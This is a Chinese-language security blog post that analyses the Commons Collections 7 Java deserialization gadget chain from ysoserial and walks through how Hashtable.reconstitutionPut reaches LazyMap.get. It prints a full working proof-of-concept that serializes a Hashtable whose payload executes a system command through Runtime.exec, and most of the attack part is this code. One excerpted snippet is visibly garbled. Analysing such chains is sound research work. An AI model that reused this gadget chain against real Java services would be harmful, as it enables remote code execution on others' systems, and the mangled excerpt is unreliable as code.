Java安全之Commons Collections7分析
0x00 前言
本文讲解的该链是原生ysoserial 中的最后一条CC链,但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial 里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable 作为反序列化的入口点。
0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException,IllegalAccessException,IOException,ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from prevIoUs payloads
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},execArgs),new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes,in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1,transformerChain);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(innerMap2,transformerChain);
lazyMap2.put("zZ",1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain,"iTransformers",transformers);
// Needed to ensure hash collision after prevIoUs manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
这里依旧是提取重要代码出来去做了一个简化。
抛去和前面重复的部分,下面分为三段代码去进行分析。
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes,1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,2);
在这段代码中,实例化了两个 HashMap ,并对两个 HashMap 使用了LazyMap 将transformerChain 和 HashMap
绑定到一起。然后分别添加到 Hashtable 中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?
下面来分析一下。
Hashtable 的reconstitutionPut 方法是被遍历调用的,


第一次调用的时候,并不会走入到reconstitutionPut 方法for循环里面,因为tab[index] 的内容是空的,在下面会对tab[index] 进行赋值。在第二次调用reconstitutionPut 时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals 方法。这也是为什么要调用两次put的原因。
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
lazyMap2.remove("yy");
前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers 进行替换。
其实最主要的是后面的lazyMap2.remove 这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap 的get方法里面就可以看到。

如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。
0x02 POC调试
依旧是在readobjetc 的复写点打一个断点,这里面用到的是Hashtable 的readobjetc 作为入口点。

在其中会调用到reconstitutionPut 方法,跟进一下。

前面说过,第一遍调用的时候,tab[index] 是为空的,需要跟进到第二步的执行里面去查看。

在第二遍执行的时候就会进行到for循环里面,并且调用到key 的equals 方法。跟进一下该方法。

AbstractMapDecorator 的equals 方法会去调用this.map 的equals 。跟进一下。

下面代码还会继续调用m.get 方法,在这里的m为LazyMap 对象。
在最后就来到了LazyMap.get 这一步,其实就比较清晰了。后面的和前面分析的几条链都一样。这里就不做分析了。

0x03 结尾
分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。 (编辑:北几岛)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|